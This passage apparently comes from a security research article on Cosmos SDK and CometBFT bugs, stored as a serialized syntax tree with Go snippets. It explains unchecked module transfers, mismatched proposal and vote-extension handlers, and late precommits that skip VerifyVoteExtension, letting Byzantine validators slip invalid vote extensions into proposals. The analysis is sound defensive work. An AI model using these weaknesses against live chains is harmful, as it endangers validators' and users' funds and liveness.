recipient",{"type":19,"tag":168,"props":79644,"children":79645},{"style":212},[79646],{"type":24,"value":471},{"type":19,"tag":168,"props":79648,"children":79649},{"style":393},[79650],{"type":24,"value":45902},{"type":19,"tag":168,"props":79652,"children":79653},{"style":399},[79654],{"type":24,"value":73905},{"type":19,"tag":168,"props":79656,"children":79657},{"style":393},[79658],{"type":24,"value":76130},{"type":19,"tag":168,"props":79660,"children":79661},{"style":212},[79662],{"type":24,"value":948},{"type":19,"tag":168,"props":79664,"children":79665},{"style":175},[79666],{"type":24,"value":79667},"AccAddressFromBech32",{"type":19,"tag":168,"props":79669,"children":79670},{"style":212},[79671],{"type":24,"value":500},{"type":19,"tag":168,"props":79673,"children":79674},{"style":393},[79675],{"type":24,"value":79617},{"type":19,"tag":168,"props":79677,"children":79678},{"style":212},[79679],{"type":24,"value":948},{"type":19,"tag":168,"props":79681,"children":79682},{"style":393},[79683],{"type":24,"value":79684},"Recipient",{"type":19,"tag":168,"props":79686,"children":79687},{"style":212},[79688],{"type":24,"value":557},{"type":19,"tag":168,"props":79690,"children":79691},{"class":170,"line":1212},[79692,79696,79700,79704,79708],{"type":19,"tag":168,"props":79693,"children":79694},{"style":419},[79695],{"type":24,"value":672},{"type":19,"tag":168,"props":79697,"children":79698},{"style":393},[79699],{"type":24,"value":46003},{"type":19,"tag":168,"props":79701,"children":79702},{"style":399},[79703],{"type":24,"value":61872},{"type":19,"tag":168,"props":79705,"children":79706},{"style":382},[79707],{"type":24,"value":79407},{"type":19,"tag":168,"props":79709,"children":79710},{"style":212},[79711],{"type":24,"value":691},{"type":19,"tag":168,"props":79713,"children":79714},{"class":170,"line":1220},[79715,79719,79724,79728,79732,79736,79741,79745,79749],{"type":19,"tag":168,"props":79716,"children":79717},{"style":419},[79718],{"type":24,"value":76565},{"type":19,"tag":168,"props":79720,"children":79721},{"style":393},[79722],{"type":24,"value":79723}," fmt",{"type":19,"tag":168,"props":79725,"children":79726},{"style":212},[79727],{"type":24,"value":948},{"type":19,"tag":168,"props":79729,"children":79730},{"style":175},[79731],{"type":24,"value":79440},{"type":19,"tag":168,"props":79733,"children":79734},{"style":212},[79735],{"type":24,"value":500},{"type":19,"tag":168,"props":79737,"children":79738},{"style":181},[79739],{"type":24,"value":79740},"\"failed to parse recipient address: %w\"",{"type":19,"tag":168,"props":79742,"children":79743},{"style":212},[79744],{"type":24,"value":471},{"type":19,"tag":168,"props":79746,"children":79747},{"style":393},[79748],{"type":24,"value":45902},{"type":19,"tag":168,"props":79750,"children":79751},{"style":212},[79752],{"type":24,"value":557},{"type":19,"tag":168,"props":79754,"children":79755},{"class":170,"line":1252},[79756],{"type":19,"tag":168,"props":79757,"children":79758},{"style":212},[79759],{"type":24,"value":752},{"type":19,"tag":168,"props":79761,"children":79762},{"class":170,"line":1260},[79763],{"type":19,"tag":168,"props":79764,"children":79765},{"emptyLinePlaceholder":14},[79766],{"type":24,"value":1093},{"type":19,"tag":168,"props":79768,"children":79769},{"class":170,"line":1320},[79770,79774,79779,79783,79788,79792,79796,79800,79805,79809,79814],{"type":19,"tag":168,"props":79771,"children":79772},{"style":419},[79773],{"type":24,"value":672},{"type":19,"tag":168,"props":79775,"children":79776},{"style":393},[79777],{"type":24,"value":79778}," bytes",{"type":19,"tag":168,"props":79780,"children":79781},{"style":212},[79782],{"type":24,"value":948},{"type":19,"tag":168,"props":79784,"children":79785},{"style":175},[79786],{"type":24,"value":79787},"Equal",{"type":19,"tag":168,"props":79789,"children":79790},{"style":212},[79791],{"type":24,"value":500},{"type":19,"tag":168,"props":79793,"children":79794},{"style":393},[79795],{"type":24,"value":79617},{"type":19,"tag":168,"props":79797,"children":79798},{"style":212},[79799],{"type":24,"value":948},{"type":19,"tag":168,"props":79801,"children":79802},{"style":175},[79803],{"type":24,"value":79804},"TokenBytes",{"type":19,"tag":168,"props":79806,"children":79807},{"style":212},[79808],{"type":24,"value":15826},{"type":19,"tag":168,"props":79810,"children":79811},{"style":393},[79812],{"type":24,"value":79813},"sourceBTCToken",{"type":19,"tag":168,"props":79815,"children":79816},{"style":212},[79817],{"type":24,"value":12250},{"type":19,"tag":168,"props":79819,"children":79820},{"class":170,"line":6486},[79821,79826,79830,79834,79838,79843,79847,79851,79855,79859,79863,79867,79871,79875],{"type":19,"tag":168,"props":79822,"children":79823},{"style":393},[79824],{"type":24,"value":79825}," err",{"type":19,"tag":168,"props":79827,"children":79828},{"style":399},[79829],{"type":24,"value":402},{"type":19,"tag":168,"props":79831,"children":79832},{"style":393},[79833],{"type":24,"value":78745},{"type":19,"tag":168,"props":79835,"children":79836},{"style":212},[79837],{"type":24,"value":948},{"type":19,"tag":168,"props":79839,"children":79840},{"style":175},[79841],{"type":24,"value":79842},"mintBTC",{"type":19,"tag":168,"props":79844,"children":79845},{"style":212},[79846],{"type":24,"value":500},{"type":19,"tag":168,"props":79848,"children":79849},{"style":393},[79850],{"type":24,"value":17735},{"type":19,"tag":168,"props":79852,"children":79853},{"style":212},[79854],{"type":24,"value":471},{"type":19,"tag":168,"props":79856,"children":79857},{"style":393},[79858],{"type":24,"value":79140},{"type":19,"tag":168,"props":79860,"children":79861},{"style":212},[79862],{"type":24,"value":471},{"type":19,"tag":168,"props":79864,"children":79865},{"style":393},[79866],{"type":24,"value":79617},{"type":19,"tag":168,"props":79868,"children":79869},{"style":212},[79870],{"type":24,"value":948},{"type":19,"tag":168,"props":79872,"children":79873},{"style":393},[79874],{"type":24,"value":76544},{"type":19,"tag":168,"props":79876,"children":79877},{"style":212},[79878],{"type":24,"value":557},{"type":19,"tag":168,"props":79880,"children":79881},{"class":170,"line":6504},[79882,79886,79890,79894,79898],{"type":19,"tag":168,"props":79883,"children":79884},{"style":419},[79885],{"type":24,"value":56285},{"type":19,"tag":168,"props":79887,"children":79888},{"style":393},[79889],{"type":24,"value":46003},{"type":19,"tag":168,"props":79891,"children":79892},{"style":399},[79893],{"type":24,"value":61872},{"type":19,"tag":168,"props":79895,"children":79896},{"style":382},[79897],{"type":24,"value":79407},{"type":19,"tag":168,"props":79899,"children":79900},{"style":212},[79901],{"type":24,"value":691},{"type":19,"tag":168,"props":79903,"children":79904},{"class":170,"line":6549},[79905,79909,79913,79917,79921],{"type":19,"tag":168,"props":79906,"children":79907},{"style":419},[79908],{"type":24,"value":58213},{"type":19,"tag":168,"props":79910,"children":79911},{"style":393},[79912],{"type":24,"value":79723},{"type":19,"tag":168,"props":79914,"children":79915},{"style":212},[79916],{"type":24,"value":948},{"type":19,"tag":168,"props":79918,"children":79919},{"style":175},[79920],{"type":24,"value":79440},{"type":19,"tag":168,"props":79922,"children":79923},{"style":212},[79924],{"type":24,"value":870},{"type":19,"tag":168,"props":79926,"children":79927},{"class":170,"line":6655},[79928,79933],{"type":19,"tag":168,"props":79929,"children":79930},{"style":181},[79931],{"type":24,"value":79932}," \"failed to mint BTC for event %v: %w\"",{"type":19,"tag":168,"props":79934,"children":79935},{"style":212},[79936],{"type":24,"value":915},{"type":19,"tag":168,"props":79938,"children":79939},{"class":170,"line":20965},[79940,79945,79949,79954],{"type":19,"tag":168,"props":79941,"children":79942},{"style":393},[79943],{"type":24,"value":79944}," event",{"type":19,"tag":168,"props":79946,"children":79947},{"style":212},[79948],{"type":24,"value":948},{"type":19,"tag":168,"props":79950,"children":79951},{"style":393},[79952],{"type":24,"value":79953},"Sequence",{"type":19,"tag":168,"props":79955,"children":79956},{"style":212},[79957],{"type":24,"value":915},{"type":19,"tag":168,"props":79959,"children":79960},{"class":170,"line":21000},[79961,79966],{"type":19,"tag":168,"props":79962,"children":79963},{"style":393},[79964],{"type":24,"value":79965}," err",{"type":19,"tag":168,"props":79967,"children":79968},{"style":212},[79969],{"type":24,"value":915},{"type":19,"tag":168,"props":79971,"children":79972},{"class":170,"line":21008},[79973],{"type":19,"tag":168,"props":79974,"children":79975},{"style":212},[79976],{"type":24,"value":79977}," )\n",{"type":19,"tag":168,"props":79979,"children":79980},{"class":170,"line":21016},[79981],{"type":19,"tag":168,"props":79982,"children":79983},{"style":212},[79984],{"type":24,"value":56369},{"type":19,"tag":168,"props":79986,"children":79987},{"class":170,"line":21025},[79988,79992,79996],{"type":19,"tag":168,"props":79989,"children":79990},{"style":212},[79991],{"type":24,"value":713},{"type":19,"tag":168,"props":79993,"children":79994},{"style":419},[79995],{"type":24,"value":718},{"type":19,"tag":168,"props":79997,"children":79998},{"style":212},[79999],{"type":24,"value":691},{"type":19,"tag":168,"props":80001,"children":80002},{"class":170,"line":21067},[80003],{"type":19,"tag":168,"props":80004,"children":80005},{"style":399},[80006],{"type":24,"value":80007}," ...\n",{"type":19,"tag":168,"props":80009,"children":80010},{"class":170,"line":21100},[80011],{"type":19,"tag":168,"props":80012,"children":80013},{"style":212},[80014],{"type":24,"value":752},{"type":19,"tag":168,"props":80016,"children":80017},{"class":170,"line":21108},[80018],{"type":19,"tag":168,"props":80019,"children":80020},{"style":212},[80021],{"type":24,"value":761},{"type":19,"tag":168,"props":80023,"children":80024},{"class":170,"line":21116},[80025],{"type":19,"tag":168,"props":80026,"children":80027},{"style":399},[80028],{"type":24,"value":17794},{"type":19,"tag":168,"props":80030,"children":80031},{"class":170,"line":21125},[80032],{"type":19,"tag":168,"props":80033,"children":80034},{"style":212},[80035],{"type":24,"value":1326},{"type":19,"tag":168,"props":80037,"children":80038},{"class":170,"line":21201},[80039],{"type":19,"tag":168,"props":80040,"children":80041},{"emptyLinePlaceholder":14},[80042],{"type":24,"value":1093},{"type":19,"tag":168,"props":80044,"children":80045},{"class":170,"line":21234},[80046,80050,80054,80058,80062,80066,80070],{"type":19,"tag":168,"props":80047,"children":80048},{"style":382},[80049],{"type":24,"value":73789},{"type":19,"tag":168,"props":80051,"children":80052},{"style":212},[80053],{"type":24,"value":461},{"type":19,"tag":168,"props":80055,"children":80056},{"style":393},[80057],{"type":24,"value":78617},{"type":19,"tag":168,"props":80059,"children":80060},{"style":825},[80061],{"type":24,"value":77434},{"type":19,"tag":168,"props":80063,"children":80064},{"style":212},[80065],{"type":24,"value":481},{"type":19,"tag":168,"props":80067,"children":80068},{"style":175},[80069],{"type":24,"value":79842},{"type":19,"tag":168,"props":80071,"children":80072},{"style":212},[80073],{"type":24,"value":870},{"type":19,"tag":168,"props":80075,"children":80076},{"class":170,"line":21242},[80077,80081,80085,80089,80093],{"type":19,"tag":168,"props":80078,"children":80079},{"style":393},[80080],{"type":24,"value":17678},{"type":19,"tag":168,"props":80082,"children":80083},{"style":825},[80084],{"type":24,"value":76130},{"type":19,"tag":168,"props":80086,"children":80087},{"style":212},[80088],{"type":24,"value":948},{"type":19,"tag":168,"props":80090,"children":80091},{"style":825},[80092],{"type":24,"value":73838},{"type":19,"tag":168,"props":80094,"children":80095},{"style":212},[80096],{"type":24,"value":915},{"type":19,"tag":168,"props":80098,"children":80099},{"class":170,"line":21250},[80100,80105,80109,80113,80118],{"type":19,"tag":168,"props":80101,"children":80102},{"style":393},[80103],{"type":24,"value":80104}," recipient",{"type":19,"tag":168,"props":80106,"children":80107},{"style":825},[80108],{"type":24,"value":76130},{"type":19,"tag":168,"props":80110,"children":80111},{"style":212},[80112],{"type":24,"value":948},{"type":19,"tag":168,"props":80114,"children":80115},{"style":825},[80116],{"type":24,"value":80117},"AccAddress",{"type":19,"tag":168,"props":80119,"children":80120},{"style":212},[80121],{"type":24,"value":915},{"type":19,"tag":168,"props":80123,"children":80124},{"class":170,"line":21287},[80125,80129,80134,80138,80143],{"type":19,"tag":168,"props":80126,"children":80127},{"style":393},[80128],{"type":24,"value":59067},{"type":19,"tag":168,"props":80130,"children":80131},{"style":825},[80132],{"type":24,"value":80133}," math",{"type":19,"tag":168,"props":80135,"children":80136},{"style":212},[80137],{"type":24,"value":948},{"type":19,"tag":168,"props":80139,"children":80140},{"style":825},[80141],{"type":24,"value":80142},"Int",{"type":19,"tag":168,"props":80144,"children":80145},{"style":212},[80146],{"type":24,"value":915},{"type":19,"tag":168,"props":80148,"children":80149},{"class":170,"line":21300},[80150,80154,80158],{"type":19,"tag":168,"props":80151,"children":80152},{"style":212},[80153],{"type":24,"value":481},{"type":19,"tag":168,"props":80155,"children":80156},{"style":825},[80157],{"type":24,"value":12310},{"type":19,"tag":168,"props":80159,"children":80160},{"style":212},[80161],{"type":24,"value":691},{"type":19,"tag":168,"props":80163,"children":80164},{"class":170,"line":21313},[80165],{"type":19,"tag":168,"props":80166,"children":80167},{"style":399},[80168],{"type":24,"value":17794},{"type":19,"tag":168,"props":80170,"children":80171},{"class":170,"line":21326},[80172,80177,80181,80185,80189,80194,80198,80202],{"type":19,"tag":168,"props":80173,"children":80174},{"style":393},[80175],{"type":24,"value":80176}," err",{"type":19,"tag":168,"props":80178,"children":80179},{"style":399},[80180],{"type":24,"value":402},{"type":19,"tag":168,"props":80182,"children":80183},{"style":393},[80184],{"type":24,"value":78745},{"type":19,"tag":168,"props":80186,"children":80187},{"style":212},[80188],{"type":24,"value":948},{"type":19,"tag":168,"props":80190,"children":80191},{"style":393},[80192],{"type":24,"value":80193},"bankKeeper",{"type":19,"tag":168,"props":80195,"children":80196},{"style":212},[80197],{"type":24,"value":948},{"type":19,"tag":168,"props":80199,"children":80200},{"style":175},[80201],{"type":24,"value":79132},{"type":19,"tag":168,"props":80203,"children":80204},{"style":212},[80205],{"type":24,"value":870},{"type":19,"tag":168,"props":80207,"children":80208},{"class":170,"line":21380},[80209,80213],{"type":19,"tag":168,"props":80210,"children":80211},{"style":393},[80212],{"type":24,"value":23654},{"type":19,"tag":168,"props":80214,"children":80215},{"style":212},[80216],{"type":24,"value":915},{"type":19,"tag":168,"props":80218,"children":80219},{"class":170,"line":21389},[80220,80225,80229,80234],{"type":19,"tag":168,"props":80221,"children":80222},{"style":393},[80223],{"type":24,"value":80224}," types",{"type":19,"tag":168,"props":80226,"children":80227},{"style":212},[80228],{"type":24,"value":948},{"type":19,"tag":168,"props":80230,"children":80231},{"style":393},[80232],{"type":24,"value":80233},"ModuleName",{"type":19,"tag":168,"props":80235,"children":80236},{"style":212},[80237],{"type":24,"value":915},{"type":19,"tag":168,"props":80239,"children":80240},{"class":170,"line":29753},[80241,80245],{"type":19,"tag":168,"props":80242,"children":80243},{"style":393},[80244],{"type":24,"value":79642},{"type":19,"tag":168,"props":80246,"children":80247},{"style":212},[80248],{"type":24,"value":915},{"type":19,"tag":168,"props":80250,"children":80251},{"class":170,"line":29774},[80252,80257],{"type":19,"tag":168,"props":80253,"children":80254},{"style":393},[80255],{"type":24,"value":80256}," coins",{"type":19,"tag":168,"props":80258,"children":80259},{"style":212},[80260],{"type":24,"value":915},{"type":19,"tag":168,"props":80262,"children":80263},{"class":170,"line":78440},[80264],{"type":19,"tag":168,"props":80265,"children":80266},{"style":212},[80267],{"type":24,"value":21386},{"type":19,"tag":168,"props":80269,"children":80270},{"class":170,"line":78453},[80271,80275,80279,80283,80287],{"type":19,"tag":168,"props":80272,"children":80273},{"style":419},[80274],{"type":24,"value":9724},{"type":19,"tag":168,"props":80276,"children":80277},{"style":393},[80278],{"type":24,"value":46003},{"type":19,"tag":168,"props":80280,"children":80281},{"style":399},[80282],{"type":24,"value":61872},{"type":19,"tag":168,"props":80284,"children":80285},{"style":382},[80286],{"type":24,"value":79407},{"type":19,"tag":168,"props":80288,"children":80289},{"style":212},[80290],{"type":24,"value":691},{"type":19,"tag":168,"props":80292,"children":80293},{"class":170,"line":78461},[80294,80298,80302,80306,80310,80314,80319,80323,80327],{"type":19,"tag":168,"props":80295,"children":80296},{"style":419},[80297],{"type":24,"value":13192},{"type":19,"tag":168,"props":80299,"children":80300},{"style":393},[80301],{"type":24,"value":79723},{"type":19,"tag":168,"props":80303,"children":80304},{"style":212},[80305],{"type":24,"value":948},{"type":19,"tag":168,"props":80307,"children":80308},{"style":175},[80309],{"type":24,"value":79440},{"type":19,"tag":168,"props":80311,"children":80312},{"style":212},[80313],{"type":24,"value":500},{"type":19,"tag":168,"props":80315,"children":80316},{"style":181},[80317],{"type":24,"value":80318},"\"failed to send coins: %w\"",{"type":19,"tag":168,"props":80320,"children":80321},{"style":212},[80322],{"type":24,"value":471},{"type":19,"tag":168,"props":80324,"children":80325},{"style":393},[80326],{"type":24,"value":45902},{"type":19,"tag":168,"props":80328,"children":80329},{"style":212},[80330],{"type":24,"value":557},{"type":19,"tag":168,"props":80332,"children":80333},{"class":170,"line":78469},[80334],{"type":19,"tag":168,"props":80335,"children":80336},{"style":212},[80337],{"type":24,"value":761},{"type":19,"tag":168,"props":80339,"children":80340},{"class":170,"line":78477},[80341],{"type":19,"tag":168,"props":80342,"children":80343},{"style":399},[80344],{"type":24,"value":17794},{"type":19,"tag":168,"props":80346,"children":80347},{"class":170,"line":78517},[80348],{"type":19,"tag":168,"props":80349,"children":80350},{"style":212},[80351],{"type":24,"value":1326},{"type":19,"tag":158,"props":80353,"children":80355},{"code":80354,"language":73653,"meta":7,"className":73654,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[80356],{"type":19,"tag":27,"props":80357,"children":80358},{"__ignoreMap":7},[80359,80391,80470,80485,80493,80524,80582,80589,80596],{"type":19,"tag":168,"props":80360,"children":80361},{"class":170,"line":171},[80362,80366,80370,80374,80379,80383,80387],{"type":19,"tag":168,"props":80363,"children":80364},{"style":382},[80365],{"type":24,"value":73789},{"type":19,"tag":168,"props":80367,"children":80368},{"style":212},[80369],{"type":24,"value":461},{"type":19,"tag":168,"props":80371,"children":80372},{"style":393},[80373],{"type":24,"value":78617},{"type":19,"tag":168,"props":80375,"children":80376},{"style":825},[80377],{"type":24,"value":80378},"BaseKeeper",{"type":19,"tag":168,"props":80380,"children":80381},{"style":212},[80382],{"type":24,"value":481},{"type":19,"tag":168,"props":80384,"children":80385},{"style":175},[80386],{"type":24,"value":79132},{"type":19,"tag":168,"props":80388,"children":80389},{"style":212},[80390],{"type":24,"value":870},{"type":19,"tag":168,"props":80392,"children":80393},{"class":170,"line":198},[80394,80398,80402,80406,80410,80414,80419,80423,80427,80432,80436,80440,80444,80448,80453,80457,80461,80466],{"type":19,"tag":168,"props":80395,"children":80396},{"style":393},[80397],{"type":24,"value":23311},{"type":19,"tag":168,"props":80399,"children":80400},{"style":825},[80401],{"type":24,"value":73829},{"type":19,"tag":168,"props":80403,"children":80404},{"style":212},[80405],{"type":24,"value":948},{"type":19,"tag":168,"props":80407,"children":80408},{"style":825},[80409],{"type":24,"value":73838},{"type":19,"tag":168,"props":80411,"children":80412},{"style":212},[80413],{"type":24,"value":471},{"type":19,"tag":168,"props":80415,"children":80416},{"style":393},[80417],{"type":24,"value":80418},"senderModule",{"type":19,"tag":168,"props":80420,"children":80421},{"style":825},[80422],{"type":24,"value":33504},{"type":19,"tag":168,"props":80424,"children":80425},{"style":212},[80426],{"type":24,"value":471},{"type":19,"tag":168,"props":80428,"children":80429},{"style":393},[80430],{"type":24,"value":80431},"recipientAddr",{"type":19,"tag":168,"props":80433,"children":80434},{"style":825},[80435],{"type":24,"value":76130},{"type":19,"tag":168,"props":80437,"children":80438},{"style":212},[80439],{"type":24,"value":948},{"type":19,"tag":168,"props":80441,"children":80442},{"style":825},[80443],{"type":24,"value":80117},{"type":19,"tag":168,"props":80445,"children":80446},{"style":212},[80447],{"type":24,"value":471},{"type":19,"tag":168,"props":80449,"children":80450},{"style":393},[80451],{"type":24,"value":80452},"amt",{"type":19,"tag":168,"props":80454,"children":80455},{"style":825},[80456],{"type":24,"value":76130},{"type":19,"tag":168,"props":80458,"children":80459},{"style":212},[80460],{"type":24,"value":948},{"type":19,"tag":168,"props":80462,"children":80463},{"style":825},[80464],{"type":24,"value":80465},"Coins",{"type":19,"tag":168,"props":80467,"children":80468},{"style":212},[80469],{"type":24,"value":915},{"type":19,"tag":168,"props":80471,"children":80472},{"class":170,"line":415},[80473,80477,80481],{"type":19,"tag":168,"props":80474,"children":80475},{"style":212},[80476],{"type":24,"value":481},{"type":19,"tag":168,"props":80478,"children":80479},{"style":825},[80480],{"type":24,"value":12310},{"type":19,"tag":168,"props":80482,"children":80483},{"style":212},[80484],{"type":24,"value":691},{"type":19,"tag":168,"props":80486,"children":80487},{"class":170,"line":450},[80488],{"type":19,"tag":168,"props":80489,"children":80490},{"style":399},[80491],{"type":24,"value":80492}," ...\n",{"type":19,"tag":168,"props":80494,"children":80495},{"class":170,"line":560},[80496,80500,80504,80508,80512,80516,80520],{"type":19,"tag":168,"props":80497,"children":80498},{"style":419},[80499],{"type":24,"value":13236},{"type":19,"tag":168,"props":80501,"children":80502},{"style":393},[80503],{"type":24,"value":78745},{"type":19,"tag":168,"props":80505,"children":80506},{"style":212},[80507],{"type":24,"value":948},{"type":19,"tag":168,"props":80509,"children":80510},{"style":175},[80511],{"type":24,"value":79148},{"type":19,"tag":168,"props":80513,"children":80514},{"style":212},[80515],{"type":24,"value":500},{"type":19,"tag":168,"props":80517,"children":80518},{"style":393},[80519],{"type":24,"value":80431},{"type":19,"tag":168,"props":80521,"children":80522},{"style":212},[80523],{"type":24,"value":12250},{"type":19,"tag":168,"props":80525,"children":80526},{"class":170,"line":666},[80527,80531,80536,80540,80544,80548,80552,80556,80561,80565,80570,80574,80578],{"type":19,"tag":168,"props":80528,"children":80529},{"style":419},[80530],{"type":24,"value":36674},{"type":19,"tag":168,"props":80532,"children":80533},{"style":393},[80534],{"type":24,"value":80535}," errorsmod",{"type":19,"tag":168,"props":80537,"children":80538},{"style":212},[80539],{"type":24,"value":948},{"type":19,"tag":168,"props":80541,"children":80542},{"style":175},[80543],{"type":24,"value":78399},{"type":19,"tag":168,"props":80545,"children":80546},{"style":212},[80547],{"type":24,"value":500},{"type":19,"tag":168,"props":80549,"children":80550},{"style":393},[80551],{"type":24,"value":78061},{"type":19,"tag":168,"props":80553,"children":80554},{"style":212},[80555],{"type":24,"value":948},{"type":19,"tag":168,"props":80557,"children":80558},{"style":393},[80559],{"type":24,"value":80560},"ErrUnauthorized",{"type":19,"tag":168,"props":80562,"children":80563},{"style":212},[80564],{"type":24,"value":471},{"type":19,"tag":168,"props":80566,"children":80567},{"style":181},[80568],{"type":24,"value":80569},"\"%s is not allowed to receive funds\"",{"type":19,"tag":168,"props":80571,"children":80572},{"style":212},[80573],{"type":24,"value":471},{"type":19,"tag":168,"props":80575,"children":80576},{"style":393},[80577],{"type":24,"value":80431},{"type":19,"tag":168,"props":80579,"children":80580},{"style":212},[80581],{"type":24,"value":557},{"type":19,"tag":168,"props":80583,"children":80584},{"class":170,"line":694},[80585],{"type":19,"tag":168,"props":80586,"children":80587},{"style":212},[80588],{"type":24,"value":7037},{"type":19,"tag":168,"props":80590,"children":80591},{"class":170,"line":707},[80592],{"type":19,"tag":168,"props":80593,"children":80594},{"style":399},[80595],{"type":24,"value":80492},{"type":19,"tag":168,"props":80597,"children":80598},{"class":170,"line":725},[80599],{"type":19,"tag":168,"props":80600,"children":80601},{"style":212},[80602],{"type":24,"value":1326},{"type":19,"tag":20,"props":80604,"children":80605},{},[80606,80608,80615],{"type":24,"value":80607},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":19,"tag":269,"props":80609,"children":80612},{"href":80610,"rel":80611},"https://hackerone.com/reports/3018307",[273],[80613],{"type":24,"value":80614},"improper decimal handling in the group module",{"type":24,"value":948},{"type":19,"tag":36,"props":80617,"children":80619},{"id":80618},"same-same-but-different",[80620],{"type":24,"value":80621},"Same, Same... But Different",{"type":19,"tag":20,"props":80623,"children":80624},{},[80625,80627,80633,80634,80640,80641,80647,80648,80654],{"type":24,"value":80626},"Cosmos exposes several consensus-level interfaces, such as ",{"type":19,"tag":27,"props":80628,"children":80630},{"className":80629},[],[80631],{"type":24,"value":80632},"PrepareProposal",{"type":24,"value":471},{"type":19,"tag":27,"props":80635,"children":80637},{"className":80636},[],[80638],{"type":24,"value":80639},"ProcessProposal",{"type":24,"value":471},{"type":19,"tag":27,"props":80642,"children":80644},{"className":80643},[],[80645],{"type":24,"value":80646},"ExtendVote",{"type":24,"value":3923},{"type":19,"tag":27,"props":80649,"children":80651},{"className":80650},[],[80652],{"type":24,"value":80653},"VerifyVoteExtension",{"type":24,"value":80655},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":19,"tag":20,"props":80657,"children":80658},{},[80659],{"type":24,"value":80660},"Two of the best-known attack surfaces are",{"type":19,"tag":2869,"props":80662,"children":80663},{},[80664,80693],{"type":19,"tag":47,"props":80665,"children":80666},{},[80667,80672,80673,80678,80680,80685,80686,80691],{"type":19,"tag":27,"props":80668,"children":80670},{"className":80669},[],[80671],{"type":24,"value":80632},{"type":24,"value":461},{"type":19,"tag":27,"props":80674,"children":80676},{"className":80675},[],[80677],{"type":24,"value":80646},{"type":24,"value":80679},") outputs being rejected due to ",{"type":19,"tag":27,"props":80681,"children":80683},{"className":80682},[],[80684],{"type":24,"value":80639},{"type":24,"value":461},{"type":19,"tag":27,"props":80687,"children":80689},{"className":80688},[],[80690],{"type":24,"value":80653},{"type":24,"value":80692},") over-validating, resulting in liveness failures.",{"type":19,"tag":47,"props":80694,"children":80695},{},[80696,80698,80703,80704,80709,80711,80716,80717,80722],{"type":24,"value":80697},"Malicious proposals and vote extensions not created through the ",{"type":19,"tag":27,"props":80699,"children":80701},{"className":80700},[],[80702],{"type":24,"value":80632},{"type":24,"value":461},{"type":19,"tag":27,"props":80705,"children":80707},{"className":80706},[],[80708],{"type":24,"value":80646},{"type":24,"value":80710},") are accepted due to ",{"type":19,"tag":27,"props":80712,"children":80714},{"className":80713},[],[80715],{"type":24,"value":80639},{"type":24,"value":461},{"type":19,"tag":27,"props":80718,"children":80720},{"className":80719},[],[80721],{"type":24,"value":80653},{"type":24,"value":80723},") under-validating.",{"type":19,"tag":20,"props":80725,"children":80726},{},[80727],{"type":24,"value":80728},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":19,"tag":20,"props":80730,"children":80731},{},[80732,80734,80740,80742,80747],{"type":24,"value":80733},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":19,"tag":27,"props":80735,"children":80737},{"className":80736},[],[80738],{"type":24,"value":80739},"VoteExtensions",{"type":24,"value":80741}," within ",{"type":19,"tag":27,"props":80743,"children":80745},{"className":80744},[],[80746],{"type":24,"value":80632},{"type":24,"value":80748},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":19,"tag":20,"props":80750,"children":80751},{},[80752,80754,80759,80761,80766],{"type":24,"value":80753},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":19,"tag":27,"props":80755,"children":80757},{"className":80756},[],[80758],{"type":24,"value":80646},{"type":24,"value":80760}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":19,"tag":27,"props":80762,"children":80764},{"className":80763},[],[80765],{"type":24,"value":80653},{"type":24,"value":80767},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":19,"tag":20,"props":80769,"children":80770},{},[80771,80773,80778],{"type":24,"value":80772},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":19,"tag":27,"props":80774,"children":80776},{"className":80775},[],[80777],{"type":24,"value":80653},{"type":24,"value":80779}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":19,"tag":20,"props":80781,"children":80782},{},[80783,80785,80790,80792,80798],{"type":24,"value":80784},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":19,"tag":27,"props":80786,"children":80788},{"className":80787},[],[80789],{"type":24,"value":80653},{"type":24,"value":80791},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":19,"tag":27,"props":80793,"children":80795},{"className":80794},[],[80796],{"type":24,"value":80797},"Proposal",{"type":24,"value":948},{"type":19,"tag":158,"props":80800,"children":80802},{"code":80801,"language":73653,"meta":7,"className":73654,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n 